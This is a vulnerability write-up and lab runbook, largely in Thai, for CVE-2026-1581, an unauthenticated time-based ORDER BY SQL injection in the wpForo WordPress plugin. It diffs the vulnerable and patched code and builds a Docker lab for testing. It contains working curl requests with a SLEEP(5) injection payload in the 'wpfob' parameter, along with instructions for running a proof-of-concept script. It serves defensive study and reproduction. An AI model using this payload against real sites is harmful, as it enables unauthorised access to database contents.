# CVE-2026-1581 — wpForo Forum (<= 2.4.14) Unauthenticated Time‑Based SQL Injection (ORDER BY) [English](README.md) --- ## Executive Summary | Field | Detail | |---|---| | **CVE ID** | CVE-2026-1581 | | **Plugin** | wpForo Forum | | **Affected Versions** | <= 2.4.14 | | **Patched Version** | 2.4.15 | | **Vulnerability Type** | Unauthenticated Time-Based SQL Injection (ORDER BY) | | **CVSS Score** | 7.5 (High) | | **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | * CVE-2026-1581 เป็นช่องโหว่ Unauthenticated Time-Based SQL Injection ในปลั๊กอิน wpForo Forum (<= 2.4.14) พารามิเตอร์ `wpfob` ถูกนำไปใช้ใน ORDER BY clause โดยผ่านแค่ text sanitization ทำให้ผู้โจมตีที่ไม่ต้องล็อกอินสามารถยัด SQL expression เข้าไปได้ ผลคือสามารถอ่านข้อมูลในฐานข้อมูลได้ * ทาง vendor แก้ไขในเวอร์ชั่น 2.4.15 โดยเปลี่ยนจาก `sanitize_text_field()` มาเป็น `wpforo_sanitize_orderby()` ซึ่งทำงานแบบ whitelist ตาม context --- ## Scope & Safety * รันเฉพาะ localhost + docker compose เท่านั้น * PoC เป็น time-based timing proof เพื่อแสดงความต่าง vuln vs patched * ไม่แนะนำการนำไปใช้กับระบบที่ไม่ได้รับอนุญาต --- ## Evidence at a glance * Version proof: หน้า /community/ โหลด asset /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vuln) vs 2.4.15 (patched) * Code proof: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default) * Behavior proof: wpfob=modified,(SELECT SLEEP(5)) ทำให้ vuln หน่วง ~5s แต่ patched ใกล้ baseline --- ## What I observed from the CVE advisory * CVE advisory ระบุเพียงว่าเป็น time-based SQL injection ผ่านพารามิเตอร์ `wpfob` และถูกแก้ไขใน 2.4.15 ซึ่ง ณ เวลาที่วิเคราะห์ยังไม่มี public PoC ออกมา * write-up นี้จึงสร้างขึ้นจากการทำ **source code diffing** ระหว่าง 2.4.14 กับ 2.4.15 โดย trace พารามิเตอร์ตั้งแต่ HTTP input ผ่าน sanitization จนถึงจุดที่ถูกนำไปประกอบเป็น SQL query เพื่อให้เข้าใจ root cause และสามารถ reproduce ได้ ![vulnx CVE-2026-1581](screenshots/vulnx.png) --- ## 1) Source‑code driven analysis ### 1.1 ค้นหา `wpfob` เริ่มด้วยการ grep หา `wpfob` ใน Source Code ซึ่งพบว่าในหน้า **Recent** มันรับค่าจาก `GET` มาเป็น `orderby` โดยตรง ![find wpfob](screenshots/grep.png) * จุดที่สังเกตสำคัญ (Recent page) **Vulnerable (2.4.14)** — `themes/classic/recent.php`: ```text 32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified'; 74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created'; ``` **Patched (2.4.15)** — ไฟล์เดียวกัน แต่เปลี่ยน sanitizer: ```text 32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified'; 74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created'; ``` > ทำไมโฟกัสที่ `recent.php` > เพราะมันเป็น route ที่เรา trigger ได้และค่า `wpfob` ถูกยัดเข้า `$args['orderby']` ตรง ๆ --- ### 1.2 Dataflow ไปถึง SQL เมื่อ `$args['orderby']` ถูก set แล้ว มันจะไหลเข้าไปยัง query builder ของ wpForo เพื่อประกอบ SQL ส่วน `ORDER BY ...`. **ตัวอย่างจุดประกอบ ORDER BY (vuln 2.4.14)** `classes/Topics.php` (ประกอบ ORDER BY): ![SQL builder: ORDER BY concatenation in Topics.php](screenshots/topics_code.png) `classes/Posts.php` (อีกจุดที่ใช้ `$args['orderby']` ประกอบ): ![SQL builder: ORDER BY concatenation in Posts.php](screenshots/posts_code.png) **อธิบาย** * `sanitize_text_field()` คือทำความสะอาดถ้าแปลตรงตัว ซึ่งมันคือการ Clear String เท่านั้น ถึงอย่างนี้ยังขาดการ **whitelist** ให้เหลือเฉพาะชื่อคอลัมน์ที่อนุญาตให้ใช้ * และเมื่อ `orderby` ถูกนำไปต่อเป็น `ORDER BY ` attacker จึงสามารถใส่ **SQL expression** ในตำแหน่ง ORDER BY ได้ รายละเอียด sanitize_text_field() * https://developer.wordpress.org/reference/functions/sanitize_text_field/ --- ### 1.3 Patch / Diff highlights (2.4.14 → 2.4.15) #### 1.3.1 Diff: `recent.php` ```diff 32c32 < $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified'; --- > $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified'; 74c74 < $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created'; --- > $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created'; ``` #### 1.3.2 Diff: `wpforo.php` ```diff 1036c1036 < $args['orderby'] = sanitize_text_field( $get['wpfob'] ); --- > $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' ); 1077c1077 < $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified'; --- > $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified'; 1153c1153 < $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created'; --- > $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created'; ``` #### 1.3.3 ฟังก์ชันใหม่ที่มาแพตช์: `wpforo_sanitize_orderby()` ใน 2.4.15 ได้เพิ่มฟังก์ชัน sanitizer ที่ทำงานในลักษณะ **whitelist ตาม context** และจะคืนค่า default ถ้าไม่อยู่ใน whitelist: ![whitelistor](screenshots/patched_function.png) --- ## 2) Lab design (Vuln vs Patched) ### 2.1 บริการใน docker compose * `wp_vuln` (WordPress + wpForo 2.4.14) → `http://localhost:8081` * `wp_patched` (WordPress + wpForo 2.4.15) → `http://localhost:8082` * `db_vuln` / `db_patched` (MariaDB) * `seed_vuln` / `seed_patched` ใช้ `wp-cli` ทำงานด้านการติดตั้ง WordPress, ติดตั้งปลั๊กอิน, สร้างหน้า `/community/` ที่ฝัง `[wpforo]`, ตั้ง permalinks, สร้าง `.htaccess` และสร้าง artifact สำหรับตรวจสอบ ### 2.2 Route ที่ใช้ทดสอบจริง จากการอ่านซอร์ส `wpfob` ถูกใช้ชัดเจนในหน้า **recent** * `http://localhost:8081/community/recent/?view=opened` * `http://localhost:8082/community/recent/?view=opened` --- ## 3) Reproduction: timing proof ก่อนพิสูจน์ ต้องมีข้อมูลอย่างน้อย 1 topic และ 1 post ### 3.1 ทำไม “ต้องมีโพสต์ก่อน” * ช่องโหว่เป็น **ORDER BY injection** * ถ้าไม่มี topic และ post ใน wpForo เลย query อาจคืน 0 แถว ซึ่งจะไม่ต้อง sort บน DB ตัวโค้ด path อาจไม่ evaluate expression ใน `ORDER BY` ทำให้ **ไม่เห็น delay** จึง false negative ดังนั้นอย่างน้อย 1 topic และ 1 post ### 3.2 Baseline timing ```bash curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \ "http://localhost:8081/community/recent/?view=opened" curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \ "http://localhost:8082/community/recent/?view=opened" ``` ![baseline](screenshots/baseline.png) ### 3.3 Attack timing ```bash curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \ --get "http://localhost:8081/community/recent/" \ --data-urlencode "view=opened" \ --data-urlencode "wpfob=modified,(SELECT SLEEP(5))" curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \ --get "http://localhost:8082/community/recent/" \ --data-urlencode "view=opened" \ --data-urlencode "wpfob=modified,(SELECT SLEEP(5))" ``` **Expected** * Vuln: `attack_vuln` ≈ `baseline_vuln + ~5s` * Patched: `attack_patched` ≈ baseline (ไม่หน่วง) ### 3.4 ผลทดสอบ ![result](screenshots/result.png) --- # Runbook — วิธี Build Lab และ วิธีใช้ PoC (CVE-2026-1581) ## 1) วิธี Build Lab (Vuln vs Patched) ### 1.1 Prerequisites * Docker Desktop + Docker Compose v2 * พอร์ตว่าง: `8081` (vuln), `8082` (patched) ### 1.2 ไฟล์ที่ต้องมี * `docker-compose.yml` * `scripts/seed-wp.sh` ### 1.3 Start lab ที่โฟลเดอร์โปรเจกต์: ```bash docker compose up -d ``` ### 1.4 Verify ตรวจว่าเปิดได้: * Vuln: `http://localhost:8081/community/` * Patched: `http://localhost:8082/community/` และหน้า recent: * Vuln: `http://localhost:8081/community/recent/?view=opened` * Patched: `http://localhost:8082/community/recent/?view=opened` ![vuln home page](screenshots/wp_home.png) ![vuln community page](screenshots/wp_forum.png) ![vuln recent page](screenshots/wp_recent.png) ### 1.5 เตรียม Topics / Posts ผ่าน wp-cli + db query (ใช้ในแลปนี้เท่านั้น) ใช้เพื่อ reproducibility และกัน false negative ```bash # 1) check counts (vuln) docker compose run --rm --entrypoint sh seed_vuln -lc ' cd /var/www/html PREFIX=$(wp db prefix --allow-root) wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root ' # 2) insert 1 topic and 1 post (vuln) docker compose run --rm --entrypoint sh seed_vuln -lc ' set -eu cd /var/www/html PREFIX=$(wp db prefix --allow-root) UID=$(wp user get admin --field=ID --allow-root) FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root) wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root) wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root) wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root echo "seeded forumid=${FID} topicid=${TID} postid=${PID}" ' ``` ฝั่ง patched ให้เปลี่ยน seed_vuln เป็น seed_patched --- ## 2) วิธีใช้ PoC ### 2.1 ติดตั้ง dependency ของ PoC แนะนำใช้ venv: ```bash python3 -m venv .venv source .venv/bin/activate pip3 install -U pip pip3 install -r requirements.txt ``` ### 2.2 รัน PoC ```bash # vuln python3 poc.py http://localhost:8081 # patched python3 poc.py http://localhost:8082 ``` ### 2.3 POC output ![POC](screenshots/poc_output.png) --- ## 3) Cleanup Project ```bash docker compose down -v ``` --- ## References * NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-1581 * Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve